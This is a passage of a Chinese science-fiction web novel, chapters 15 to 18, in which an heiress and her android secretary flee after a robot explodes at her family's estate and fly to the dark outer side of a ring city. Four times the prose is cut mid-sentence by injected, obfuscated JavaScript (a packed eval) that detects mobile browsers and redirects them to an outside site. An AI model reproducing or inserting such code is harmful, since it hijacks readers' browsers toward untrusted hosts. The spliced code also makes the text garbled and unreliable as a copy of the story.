应霁坐在副驾驶座上,看着摩天大楼外的各色器械如飞蚊巡游,它们密集排列,蜿蜒成远方数条金银色长河。 他们也从那个方向而来,只不过受惠于科鸢的员工通道,加之高档城区住户稀少,一路驶来尤为顺畅。 但燕无乐控制着操作面板,从始至终没有提速。她的飞行器仍保持着最平常的椭圆型,像一颗羊脂玉般悠哉地飘荡在天地间。 “这个给你。” 一套袖扣领针被递了过来,铂金打底、欧泊镶嵌,炫目的光芒被锁在玲珑方寸间,但应霁一碰就立刻放了回去。在人类肉眼看不见的地方,他的指尖微微发麻,这不只简单首饰。 “没错,是信号屏蔽器,戴上之后无法直接向我的终端发送消息。”燕无乐目视前方,虽然那里空无一物。 “我家餐厅内一直都开着信号干扰,而我爸妈也是智能领域的专家。一是他们不想谈话外泄,二是他们认为人与人当面的交流最重要。” 燕无乐顿了下,“所以接下来你必须独当一面,像个真正的、独立的人类那样。” 飞行器发出轰鸣,在二人的徐徐降落下,暮色中的山峦近在眼前。 管家已经在庭院大门前候着了。燕无乐熟练地从他手中接过大衣,还没等她介绍,管家就发现了第二位从飞行器上跳下的人。 他惊讶:“这位是?” “哦,我让莫狄负责总部的工作去了,这位是新的秘书,姓应,全名应霁。” “您好!”管家热络地伸出手,应霁握住时,却发现他的掌心温度很低。 他尴尬地笑笑:“原以为来送人的是莫助理,所以只准备了一件外套,怠慢了、怠慢了!” 说罢他立刻转身调度,很快机器人赶来,为他披上了另一件大衣。 应霁不明所以,但漆黑的沉木大门随之展开,还未看清院内布景,一股扑面而来的寒气就让他一振—— 眼前景如同与世隔绝的仙境,燕氏本家内大雪纷飞,鹅毛般洋洋洒洒落至鱼池,转眼融化不见。木质连廊外松柏□□、腊梅仍旧,其上覆盖着的皑皑白雪,时不时将枝头压弯又弹起。 “不冷吗?”燕无乐开口让他跟上。他看着她呼出的气变得清晰,像一丛乳白色的流云。 怪不得管家提供了大衣。 应霁感到冷气从脚底向上蔓延,他拉紧外套,快步追上燕无乐。 “金銮环形城围绕人造太阳而生,脱离公转和自转后,环形的居住区内气候可控、四季如春。” “但我妈比较怀旧,她不喜欢一切都随着科技迭代,最后融为大杂烩的趋势。”燕无乐的视线扫过古朴庭院,“所以庭院内特意模拟了四季,并且对应农历节气,因时而变。” 话音未落,他们已至连廊尽头,一扇安装在青砖内的镶边红门应声开启。 这次,不需要燕无乐讲解了。 一阵强烈的的噪鸣自胸腔内响起,瞬间直冲头顶,应霁只觉耳鸣不止,眼前的景色也开始重叠摇晃。 ——是信号干扰,而且强度极大。 但人体感觉不到它们。然而燕无乐定住脚步,用左手勉强调试着微微发抖的机械右臂。 “这是个通过乱流建立起的信号屏蔽场,没有消息能在此处传送。”她低声道,然后举起已经调试好的机械臂,“你看,它现在是单机模式了,和普通的机械假肢没有任何区别。” 燕成蹊和安梵已经立在了屋檐之下,看到女儿身边的应霁,微微一愣。 “应霁是我的新秘书,毕竟不能让莫狄总是往岚水分部跑。” 安梵“啊”了一声,点点头,虽然目光还是有几分探寻的味道。而一旁的燕成蹊则深吸一口气,若无其事地做了个“请”的手势。 屋内暖炉生香,柴火噼啪作响。受到信号干扰的影响,应霁的五感灵敏度降低了许多,处理速率也慢了不少,他只得亦步亦趋地学着燕无乐的样子,把大衣手动挂上衣架。 “都是家常菜,不用客气,无乐这孩子也没和我们说,真是太准备不周了。”安梵坐在二人对面,一根玉簪将长发束起,其间掺杂些许白发,却不显沧桑。 燕成蹊寡言,餐桌上总是安梵开口。岁月在习惯上留下刻痕,即使多年过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317717|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,仍然不难看出她谈吐间郁莱般那种大家闺秀的影子。 这顿饭三个人吃得心猿意马,而应霁作为智械则根本尝不出味道。 安梵率先放下筷子:“应先生很年轻啊,认识无乐前是做什么工作的?” 燕无乐却站起身来给她盛了一碗汤,抢答道:“军队文职,岗位据说有些涉密。” 安梵得体地收声,接着换了个话题:“科鸢的工作强度如何?平常感觉压力大吗?” “还好。”应霁也放下筷子,体内的处理器飞速运转,从莫狄的工作消息中寻求灵感,“就是对接一下部门消息、和主管们开开会什么的。” 一直默不作声的燕成蹊忽然点点头,一副忆往昔峥嵘岁月的表情。他若提问必会涉及到公司管理的细节,到时候应霁这点现编的内容恐怕要露馅。 燕无乐赶忙站起身,神情严肃地从机械臂内取出那枚储存卡。 “——不闲聊了,我这次回来是有事想请教,有关公司的。”储存卡被塞进卡槽,房间角落内一台古董放映机登时运转,安梵无奈地叹了口气,想走却被燕成蹊制止了。 他倒是瞥了眼应霁,但看自家女儿坦然自若的模样,索性也咽下了逐客令。 众人等待了一会儿,墙壁上的图像才缓缓显现——视频内容经过掐头去尾,开场便是满目的灰白仪器,然而还没等众人看清,下一秒镜头就晃进了角落。 瞬间,一双硕大的、惊恐的眼睛占满了整个画面,直勾勾地瞪着众人。 “哐”的一声,椅子被燕成蹊骤然起身的动作碰响,安梵也皱着眉向后靠了靠。 “这是什么?不是合成的吧?” 燕无乐幽幽道:“我倒是希望这些只是合成画面。” 视频依然在继续,镜头拉远之后,侏儒矮小的身躯完整地填满画面,滑稽的姿势和动作一览无余。 燕成蹊此刻已冷静下来,他快步走到放映机前,将储存卡仔细收于贴身口袋。然后他转身捏住燕无乐的双肩,神情严肃。 然而燕无乐只看见父亲嘴唇张了张,还未出声,大门外传来的爆响就打断了所有人的思路—— 冲天的火光燃尽院内积雪,滚滚浓烟染黑了梢头梅花,游鱼惊散,满目狼藉。一股暖流安静地从燕无乐脚边蔓延,她一低头,发现那是缓缓流淌的鲜血。 被爆炸轰开的大门前,管家只剩一半的身体。他的血肉和机器人碎片混在一起,有的已烧得焦黑,浓重的血腥和焦糊味伴着烟尘直冲众人。 家用机器人爆炸了。 ——为什么? 惊惧之后,燕无乐立刻扭身转向父亲,伸手就要掏那张储存卡,“它上面有定位追踪!不能把它留在这!” 然而燕成蹊将女儿一把推开。他后退一步,震惊的神情逐渐变得凝重而犹疑,他一只手下意识地护住口袋。 “不行,你肯定是惹了不该惹的。”燕成蹊沙哑的声音传来,“你带它离开,和活靶子有什么区别?” “但是源文件在这!不管背后是谁在捣鬼,只要把它公布出去,我们都能反击。” 燕成蹊双唇紧闭,眉头拧成一片川,刀刻般的目光越过女儿,直指沉默在原地的应霁—— “你潜入这所研究院拍摄的事情,是不是只有他知道?” 16. chapter 16 一瞬寂静。 管家的血凝固在众人脚边,像数道蜿蜒在青石板上的植物根系。不远处的机器人碎片依然燃烧,噼啪作响。 燕无乐愣在原地,转头否认:“不可能!应霁的身份我清楚,他没有理由出卖我,他也不会这么做。” “那把他的履历给我,我倒要看看这其中有没有猫腻。” 燕成蹊手握储存卡,显然没有松口的打算。作为科鸢曾经的技术与管理骨干,他有能力破解伪造的身份信息。 “……不行,”燕无乐咬咬牙,又上前一步,“爸,你先相信我,这张卡必须现在就带出去,科鸢随时会被攻击,我们需要抢时间进行准备。” 剑拔弩张之际,只有这枚小小的储存卡安静地躺着。倘若它早在潜入时就被标记追踪,谁带着它都是涉险。 此刻,燕成蹊的目光放过应霁,又绕过管家的尸首,最终落在了自家餐厅那扇被破开一半的大门—— 餐厅内信号干扰强烈,爆炸才会发生在定位点最后传送出的门边。现在,大门破开,干扰浓度即使降低,也并非全然失灵。 “爆炸发生在咱们家中,查不到事故源头,科鸢脱不了干系。”一地金属碎片全部来自科鸢的生产线,燕成蹊跨过去,勉强掩上了餐厅大门。 “先不论哪个环节出的问题,家里的这场事故还不能公之于众。”说罢燕成蹊拨通内线电话,很快医疗机器人赶来,将现场草草收拾完毕。 一股寒意从头到尾将燕无乐笼罩,她搓了搓双臂,站在一旁,看着管家的半截身子被白布掩盖,那凸起的体积与她遇见的侏儒差不多大小。 “所以您打算息事宁人吗?”不止无辜的管家,这个世上还有许多同样的生命。 “无乐,你怎么从来不懂父母的用心?我们怕你变成那个众矢之的,到时候就不单单是科鸢的丑闻了!” 山涧庭院内大雪纷纷,鹅毛般将血痕掩盖。想必此刻已有其他人工接手了管家职责,无论是谁,他要处理的第一项事宜就是与前辈的家属谈赔偿金。 安梵走来,伸手拍落父女二人肩头的雪。他们都不愿多言时,只有她接通了家中内线,试图缓和氛围。 然而没等她说几句宽慰人心的话,一则新闻视频就从内线传来:烈焰般的红霞下,一块标有“阿芙洛狄”字样的建筑牌照被烧得黢黑,镜头一转,整座方形建筑只剩骨架。 硕大的标题写着「研究院傍晚失火,现场无人生还」。 燕无乐愣住了。 画面里的记者仍在播报,冷静而克制的声音随着信号断断续续地传来:“……据悉,阿芙洛狄研究院常年从事生物科技的研发,其中大量设备来自科鸢集团。” “火灾原因尚在调查,本台记者将持续为您报道——” 来自科鸢集团?简直一派胡言。 “内线说这已经是半小时前的新闻了,而现在……”另一个视频被安梵点开,这次,是父女二人都再熟悉不过的视角。 隔着落地窗,俯拍的镜头对准楼下,偌大的停车场内此刻停满了转播车,记者们的长枪短炮正对准科鸢大楼。 “公司内部已经炸开了锅,现在所有部门员工都被控制在楼中,这段视频就是员工发来的。”安梵率先打破沉默。 腹背受敌,争论此刻已经失去了意义。燕成蹊从女儿身边走过,不容置喙地将储存卡带进了房间深处,那里的某一块青砖之内,藏着一台保险箱。 迷茫涌上心头,在模拟出的漫天大雪中,安梵为她披上外套:“放心,爸妈会先替你稳住局面的。” “那我呢……?”出声后她才发现自己的声音在颤抖。 而安梵向她的脸伸出手,指腹摁过燕无乐的双眸之间,“不要这么看我们,放松点。” 她说,重返科鸢不过是缓兵之计,而除了这个,他们或许能做的不多。 “现在你有机会去调查了。” * 走出山涧庭院时天色已暗,星历纪元后世上不再有天然的雪,而金銮主城内依然车流熙攘。 应霁驾驶着一辆全新但低调的基础款飞行器,任由燕无乐在其中踱步徘徊。 一小时前,燕无乐脚步虚浮地跨出山涧庄园,入目是永恒不变的春和景明。一款全新的飞行器停在面前,应霁已经坐在其中,而她甚至不知道他接受了什么、又是什么时候出来的。 但她没心思开口。背后,那尊漆黑沉木的大门正缓缓合拢,雪似乎大了些,有些正从缝隙中涌出。 她也没敢回头。 科鸢集团召开紧急会议来应对这次舆论危机,而大多数员工不会知道,从今往后的很长一段时间内,管理他们的都将是燕成蹊和安梵。 父母能为孩子做的不就是后勤吗。安梵的话隐约重现,她坐上这架逃逸用的飞行器,鼻头一酸。 她知道这话是安梵的安慰,包括那句“有机会去调查”,都不过是他们于心不忍、但又出于保护的条件反射。她过去最厌倦的东西。 飞行器平稳升空,很快汇入车流。山涧庭院在深蓝色的天际下只剩轮廓,背靠的山峦瀑布传来阵阵水声。 下一步该如何做?燕无乐逼自己翻阅着此前收集的所有资料,原本它们彼此靠近、直达事实,然而大火和爆炸又将它们粉碎,现在做什么都像徒劳无功。 一切就这么中断了。 燕无乐深吸一口气,倒在座位上,机械臂上的光屏还在“哗哗”地滚动资料。 “振作一点,”应霁见状打开电台,“听听新闻有没有进展。” 然而电台并没有如他所愿,他疑惑地又调了几个频,发现连滋啦作响的电流声都很快消失,紧接着就是一阵死寂。 像是成功接入了某个频道,但没人说话。 “可能坏了,关了吧。”燕无乐兴致缺缺。 然而下一秒,飞行器内立刻响起声音,“等一下。” 二人都被这雌雄莫辨的电音吓了一跳。燕无乐立刻站起身,但无论怎样检测,机械臂都查找不出监视来源。 基础款飞行器没有自动驾驶,应霁所能做的就是将电台声音开大,然后努力保持飞行器稳定。 电子音再次响起,这次它忽略了燕无乐对它身份的追问,自顾自地说道:“我这里或许有你们想要的东西。” “滴”的一声,燕无乐的私人邮箱发出了提示音。一则附件,点开是一则发送人为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317718|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「阿芙洛狄」的草稿截图,上面正是那批“样品”的交付地点。 燕无乐越看越心惊,然而没等她追问,电台就流淌出音乐,恢复了正常。 “我知道接下来该去哪了。” 燕无乐对他说完就陷入了忙碌。 于是此刻,应霁的欧泊袖扣被随手搁在操作面板上,像几颗不起眼的沙砾,被燕无乐随时更新的备忘录掩盖。 她右臂上的光屏此刻全部展开,大小不输一只喷蝠。此刻,她单手摁住耳边的外设,通过脑机接口,一枚光标在扇形光屏上肆意弹跳,输入的文字被实时传递给应霁面前的屏幕。 那尊拥有钻石切面和流畅曲线的银白飞行器被丢在本家,和燕成蹊收起的储存卡不同,等待它的命运只有销毁。 ——方才在饭局上听安梵提起,它还是燕无乐的毕业礼物,应霁想,怪可惜的。 然而自己面前的屏幕依然飞速弹出文字,来不及解析就又被整理,最终变成一条条规整的「待办事项」。 紧凑的人生,容不下伤春悲秋的时刻。 应霁一边驾驶一边浏览,他有时觉得燕无乐比自己更像人形智械——还是功能硬核、智能不足的那类。 “看一下。”燕无乐随手将长发甩到背后,然后拍了他的肩。 才走神一会儿的功夫,他的面前就出现了一篇文档,里面预测和猜疑并存,混杂而成一则具备行动可能、但随时会发生意外的“行动指南”。 “那一把大火把阿芙洛狄研究院燃烧殆尽,证据和线索全断了。这样,即使我们手上有视频也证明不了什么,搞不好最后沦为口水战,惹一身腥。” “科鸢会立刻召开新闻发布会,谴责这种毫无事实根据就泼脏水的行为,我想暂时可以将舆论引到商战层面,”她冷静道,“但这不是长久之计。如果没有有利的证据来反击,我们还可能被再次中伤。” “而且这么大的事故,星系联邦政府一定会介入调查。期间也许会影响公司的正常运营,甚至叫停生产也说不定……” 虽然阿芙洛狄的大火与科鸢无关,然而另一场货真价实的爆炸却发生了,并且发生在燕氏老宅、科鸢生产的机器人身上——这样的惨案一旦被曝光,那几乎是在众人前实锤公司产品存在质量风险。 这才是那根会压垮科鸢的关键稻草。 科鸢集团作为行业龙头,盼着它倒然后分一杯羹的,向来不止DM风投一家。 军临城下,四面楚歌。紧迫感如同巨石压身,燕无乐没办法放松下来。虽然不知这雪中送炭的神秘人意图为何,但她只能前去,别无选择。 况且,还有一个问题一直萦绕在她脑中,她想不通——那些她亲眼所见的非人实验、样品侏儒……究竟是为了什么? “拥有这样的技术能力,肯定不是简单的金钱诱惑。”她喃喃道。视窗外浮现出熟悉的山峦阴影,要降落了,应霁出言提醒她坐稳扶好。 随后,他又指了指面前不再更新的「行动指南」: “所以,我们要离开金銮城了吗?” 他停顿半晌,又开了口,语调像极了人类犹豫过后的追问: “——我要和你一起走?” 17. chapter 17 这是什么问题?燕无乐感到莫名其妙。 “那不然呢?”她回头望向正在操作飞行器降落的应霁,“你和我同时在郁莱的生日会上露过面。假如我走了,你觉得媒体的镜头会落在谁身上?” 应霁“嗯”了一声,手上动作不停。 回头想想,他什么也没说,但似乎总是这样。发生什么了吗?燕无乐思索了下,难道是因为自己那台飞行器上的移动充能桩被销毁了? 燕无乐跨出舱门,等应霁出来:“之后的飞船上可以再安装个充能桩。” 他闻言一愣,表情并没有什么变化,一副意料之外但坦然接收的模样。 “哦,可以呀。” …… 岚水的晚风带有群山气息,湿润中藏着凉意,它们划过二人面庞,静默无边。 二人不知为何就这样尴尬地站住了。 最后还是机械螃蟹屁颠颠地递来拖鞋,燕无乐才打破沉默:“你现在不太说话了?好像和以前不太一样。” 应霁不置可否,“事情都被安排好了,我没有什么开口的必要。” 似乎也没什么错。 “那——”她犹豫了下,“如果你不愿意,我可以想办法给你安排城内的其他居所,低调一点也不是不行……” 一阵风吹来,燕无乐忍不住打了个寒战,一步开外的屋内灯火通明,应霁却没有进门的意思。 他们注视着彼此,直到应霁错开目光并打断了她: “没关系,我可以去。”他淡淡道,“自从被你创造以来,我还从没去过金銮城外的地方,那些内置资料里金銮城外的地方,我都很好奇。” “原因有很多,不只是因为你。”应霁的语气依旧很温和,这话周遭盘旋而过的晚风一样,将人裹挟直到溜去,神不知鬼不觉。 当燕无乐回过神来时,他已经向屋内走去了。 黄昏的光洒在他身上,勾勒出遒劲的肩颈轮廓,所延伸出的身影是他身高的好几倍,完全将燕无乐笼罩其中。 “等一下!”她不甘心地追上去,但当应霁真正转过身时,她忽然又说不出话了。 她想道歉,也想对最近发生的事做出些解释,抑或将时间提到更早,不那么冲动地唤醒他。 应霁静静地看着她,表情从等待转为了然。他没说什么,只是为她让出台阶:“不走吗?我们应该还有很多东西要收拾。” 通往地库的暗门已然开启,那是「行动指南」的第一条:「更换飞船,补充物资,准备出发。」 机械螃蟹察觉不到二人之间诡异的氛围,它们的智慧水平和几个月大的小狗没有区别。此刻它们牵住燕无乐的裙角,还在试图把她拽向应霁。 “好好,这就走……”燕无乐像哄小孩般飞速给它们安排了其他指令,然后避开应霁匆匆下了楼。 而他从容地跟着她来到地库。 与别墅内格调颇高的装潢不同,燕无乐的地库简直像刚竣工的毛胚,应霁放眼望去,这一两百平的大空间内除了几根承重装置外,空旷无物。 而这偌大的空间被一架飞船占去一半。飞船作为太空交通工具,它比日常空中通勤用的飞行器更加庞大、沉重,尾部的三缸喷射器高度超过二人的身长总和,漆黑望不见底。 与之相匹配的是梭型的船身与更高强度的涂料,应霁只消一眼就能模拟出它刺破大气、冲入太空的形态。 燕无乐有些生疏地才将舱门打开,飞船内部也做了多功能分区。不只是交通工具,其中还有完备的生态循环系统。 “像一所移动的房子。”应霁看着墙壁上可供培育蔬菜的营养舱,“我们会在太空游荡很久吗?” 燕无乐瞥了他一眼,“又不是度假,你还期待什么星际迷航吗?” 应霁:“你好像开始嫌我烦了。” “……” 话虽这么说,这架代号为「扁舟」的飞船依然装备了最完备的应急生存系统,其中甚至包括两台冷冻休眠舱。 方才跑走的机械螃蟹此刻又“咔哒咔哒”地跑来,两支锃亮的钳子举着一大摞金属和胶线。随后“哗啦啦”地一撂,这堆东西就水灵灵地堆到了二人面前。 应霁认出了它们。而燕无乐也用行动证明,这堆东西就是安装于「扁舟」的移动充能桩。 改装完毕,她三下五除二地将底板重新铺好,随后闪到一边,将飞船内部的空间彻底展示给他。 这是一架将生活和工作做了严格分区的飞船,椭圆形的船身中三分之一为驱动服务,三分之二则铺了地板和毛毯,有意地将恒温和重力系统藏在其下。若不是门后便是冰冷的金属操作房,简直与普通的两居室无异。 燕无乐拉开其中一张单人床底,在一台巨大的保险箱内,密密麻麻地摆满了种子、纯净水、压缩食品、急救药品……还有种类不少的枪械弹药。 应霁的床也是如此,除了基础的物资储备,危机时刻地板会立刻翻转,将舱底的休眠舱抬升至床的位置。 一旁的橱柜内则装了许多改造配件,比起硬件完备且程序自动更迭的应霁,燕无乐的机械臂需要调试和改装的频次更高,除此之外她还有许多科鸢制造的内测产品。 “随时拎包入住,不,拎包跑路的水平。”燕无乐靠在门框上。 这点时间内别墅内的全部资料已被同步至「扁舟」了,只要完成最后的格式化,他们随时可以不留痕迹地离开。 两只机械螃蟹蹲在飞船脚下,四只长眼睛状的摄像头灵活地伸进舱门,好奇地望向二人的方向。 它们也是这智能别墅内的家具之一,格式化后,一切关于燕无乐和应霁的储存条都会被抹去。 驾驶室内光点闪烁,绿色充能条如一条纤细的青蛇,正幽幽地盘踞在二人头顶。 螃蟹们舞动钳子,十六条蟹腿交替摆动,“咔哒咔哒”地在舱门前打转。 格式化的按钮已经从燕无乐的右臂光屏弹出,只需要一摁,它们就会重回出厂时的休眠状态。到时再也不会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317719|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金属的脚步声、起哄般的反应、还有这好奇打转的姿态。 应霁忽然有些犹豫。他移开目光,不明白这犹疑从何而来——它们是最低等的智械,这点可怜的智能也是出于讨好消费者而被赋予的,价值约等于没有。 现在他们要走了,作为别墅的一部分,螃蟹们无法一起离开。 道理他都懂,那为什么会产生带它们一起走的冲动呢? 燕无乐的指尖伸向光屏,又顿在几厘米开外。她感到身旁的应霁忽然沉默,而舱外的螃蟹们还不明所以地到处张望。 于是她收回了嘴边的“得走了”,转而下船把它们手动关机。猝然失去支撑,螃蟹们“哐当”一声砸在水泥地上,尘土飞扬。 应霁被响动吓了一跳,没想到燕无乐这么绝情:“你——” “你什么?”她淡淡道,随后一支螺丝刀被她从腰间拔出,三下五除二就卸掉了螃蟹的腹甲。 工装马甲包裹着她劲瘦的腰背,让燕无乐看起来比晚宴上强壮不少。此刻她的背影将应霁的视线挡了个严严实实,像一种不容窥探的态度。 好,看来是毁尸灭迹。应霁想,低等智能也是智能,无乐想杜绝隐患也可以理解。 但当她起身,两只螃蟹还是完好无损地躺在原地,就像睡着了一般,只是她的手上多了两枚卡状的芯片。 “又是卡。”她笑了笑,然后把它们塞到了应霁手里,“里面有它们两个的程序和缓存,现在送给你了。” 那两枚储存卡还留有余温,说不清来自螃蟹还是燕无乐的掌心。 出乎意料。 应霁郑重地将它们收起,而燕无乐也随即启动了别墅的格式化。 随着「扁舟」滑入黑夜,别墅区变成岚水城区间隐约的散星,弯弯曲曲,连成一条条金色的绸缎。 再升高时,依稀可见远方主城区的万家灯火,直插云天的写字楼林立,亮灯的楼层装点着金銮的夜生活。 到达发射高度后,他们扎紧专用的安全座椅,戴上了防冲击面罩。此刻开始,飞船会全速冲出人造大气层,直到进入外太空的失重环境。 “抓紧了。”燕无乐的声音通过面罩内的无线电波传来,应霁还未做出反应,周遭就剧烈颠簸起来—— 这是几乎将人五脏六腑都要震碎的程度,视窗外的金銮夜色瞬间化为流线,溶于混沌。 他感到体内叮当作响,似乎所有零件都搅作一团,连带着震动不停。 一旁的燕无乐也不好受,血肉之躯的她感到头晕目眩,胃里也一阵翻江倒海。 好在飞船足够给力,在她真正吐出来前,扁舟发出“嗡”的一声,颠簸消失了,取而代之的是一种轻飘飘的感觉。 「重力系统正在重置——重置完毕。」 操作面板上弹出这行巨大的字,成功将二人的视线聚集到一起。 应霁望向视窗,金銮星系的全貌第一次展现在他眼前—— 号称人类文明巅峰的造物,金銮环形城。 18. chapter 18 「銮,意为帝王之铃,源于东方古文明。」 太阳自古遥远而炽烈,即使是人造太阳「金銮」,对星际时代的人类而言也是永恒。 在无穷的距离上,一切都好似静止,二人的飞船此刻真如一叶扁舟,在浩渺的宇宙间飘荡。金銮星系的全貌此刻尽收眼底。 金銮星系主要由人造太阳「金銮」与围绕它的环形城两部分构成,整体造型像一条包裹铃铛的绸缎——环形城的内面朝向人造太阳,城内每座建筑物的顶峰都指向它。 这也是金銮环形城四季如春、日夜可控的原因。 从太空回望,应霁已看不清自己是从哪里出发。无论岚水还是主城,城市片区的分隔都被模糊,变成处理器内密密麻麻的像素点。而这样的城市,遍布在金銮城的整条环带。 随着距离的拉紧,一些人造天体反而变得硕大而清晰,从扁舟的不远处划过。透过视窗,他甚至可以看见孤独矗立其中的空间站,还有各色地表上的车辙痕迹。 到处都是人类活动啊,应霁默默感叹。一颗颗天体缓慢经过,他随口问道:“我们要去这些小行星上吗?” “暂时不去。”燕无乐拉开防冲击座椅,活动着酸痛的肩膀向操作面板走去,那里的按钮闪烁不停,显示预备完成。 她倚着操作台,飞船依然保持行驶。在燕无乐的背后,巨大的环形城从视窗底部浮现,比方才应霁所看时近了不少。 那些直冲云霄的写字楼与环带融为一体,甚至隐约可见形状。 ? “我们不是刚从环形城出来吗?”他双手撑着主视窗边沿,不敢置信地问道。 燕无乐听完笑笑。她好整以暇地看着他确认每个视窗,然而无论是哪个,愈来愈清晰的环形城都指向了他预设好的结果。 他们确实正在向环形城靠拢。 “没错,接下来的目的地依然在环形城上,失望了吗?”燕无乐愉悦的声音传来。 “……别这样看着我。”她离开一直靠着的操作台,给应霁让出了完整的主视窗,“环形城可不止你住过的这一面。” 她将手边的拉杆拽到底,眼前的环形城陡然翻转,应霁愣了两秒才反应过来,是扁舟在调转方向。 既然呈绸缎状,那就有内外两面,她淡淡道。“你所生活过的金銮主城区只是环形城内面的典型之一,而它的外面其实也有人类居住。” 背对人造太阳的环带外面。 扁舟的内部重力系统非常稳定,在二人还毫无知觉时,它就掠过金銮城的上空,从视窗看去有一种大厦倾倒的错觉。 紧接着入目的是极高密度的地基界,漆黑的、厚重的、不可撼动的,无数建筑在它身上扎根,千万人类紧贴它而生存。 翻越地基的距离不短,需要时间。他们都不再说话,视线飘向飞船前行的方向——没过多久,一片地表出现在地基棱线旁,灰蒙蒙的,坑坑洼洼。 没有摩天大楼,没有璀璨灯火,整个环带外面通体寂静而黑暗。 ……这里会有人类居住?应霁体内的处理器飞速运转,然而除了几篇被隐藏的陈年报道,几乎没有任何资料描述环带背面。 而燕无乐抱臂站在一旁,显然知道些什么。 扁舟逐渐向地面靠拢。很快,主视窗就被更清晰的景象填满,一些细碎的弱光恒久地亮着,如叶脉般隐约连成细密的网。 有光的地方更低洼,像开凿出的地道墙壁上悬挂的灯。再靠近时就能发现,这些看似坑坑洼洼的地表,其实是一片片低矮的小楼。 这些光就来源于楼内的房间。 “那个电台神秘人发来的资料显示,我们要去的地方就在这其中的某个矮房。” 燕无乐随手一指,入目全是一望无垠的黑灰色矮楼,它们彼此交错、拥堵,几乎是毫无章法地堆叠在一起。 应霁不由得皱了皱眉头。“那些被阿芙洛狄批量培育出的侏儒,为什么会被计划着送到这里?”他回忆着扁舟走过的种种行程,“大费周章,图什么呢?” 燕无乐:“错了,他们可不会让‘样品’坐飞船。” 她随后拉动摇杆准备着陆。扁舟已启动了体外伪装,而科技水平欠发达的此地居民不会觉察到任何异样,二人大喇喇地驶过城区上空。 那他们怎么被送来?应霁一头雾水,而燕无乐却指了下侦查多次却显示空无它物的扫描结果。 “其实这里的人口密度不输金銮主城区,但你看,这里没有其他飞船,连飞行器都没有。” “现在,向下看——” 「扁舟」侧翼展开,其间的点阵摄像头将影像投射到甲板之上。应霁一低头,就看见如灌木丛般绵延的矮房尽头,出现了一个巨大的坑,随着飞船的前进,它也露出全貌。 黑夜中,它像一张血盆大口,周围的矮房变成龋齿,零零碎碎环绕着它。 而巨坑深处,居然传来了隐约光芒。 “这是什么?”应霁向坑中望去,发现里面的光源并不稳定,强弱不一,明明灭灭,似乎正随着什么移动。 “它叫「矿洞」。准确来说,是一条历时千年开凿出的甬道。” 燕无乐波澜不惊的声音响起,将深坑的历史娓娓道来。 一千多年前,随着人造太阳的能量趋近稳定,环形城的地基界也初具雏形。 彼时的星际大迁徙还未开始,环形城上的人类皆来自先发的施工队伍。 人们身着厚厚的防辐射服,在大气防护罩开启时工作,一旦大气波动、尘暴来袭,他们就需躲入地下防空洞,以求一夕安稳。 此时的金銮环形城无论内外,都是同样的动荡、荒芜。而按照地球指挥部的规划,环形城也只有内面一侧的建设计划。 直到一场空前强烈的大气波动来袭。 数十万支施工队被迫躲入地基界避难,这一避就是九年。 这九年间,施工任务中断,广袤而空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317720|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旷的地下空间却被人们着手开发,变成了地球政府所不知的自由市场。 避难终有结束时,而这片自发的乐土或许被收缴。由此,一些星建工人脱离队伍,继续向下挖掘,试图开辟出属于自己的全新世界。 这便是「矿洞」的发源。 “这部分人类的孩子大多出生在大气波动年间,他们继承了上一代的遗志,一代代继续向下开凿,最终成功挖穿地基,形成了你现在所看见的这个大坑,然后穿过它来到环带外面。”燕无乐继续降低飞船,让应霁可以看得更清楚。 而在金銮环形城开发的初期,「矿洞」又成为了环形城内外面沟通的渠道,许多人自愿或被迫地放弃了合法公民身份,借由它穿到了这里。 扁舟继续下降,在足够开阔的洞口前,它更像一枚飘摇而下的落叶,恰巧落入井中。 “那些灰暗的矮房群、还有「矿洞」内壁上这些附着的居所……都源于那时。”燕无乐长长地出了一口气,“星系政府和军方对此鞭长莫及,于是数百年前将它从环形城内面单向阻断,只进不出,以维护社会安定。” 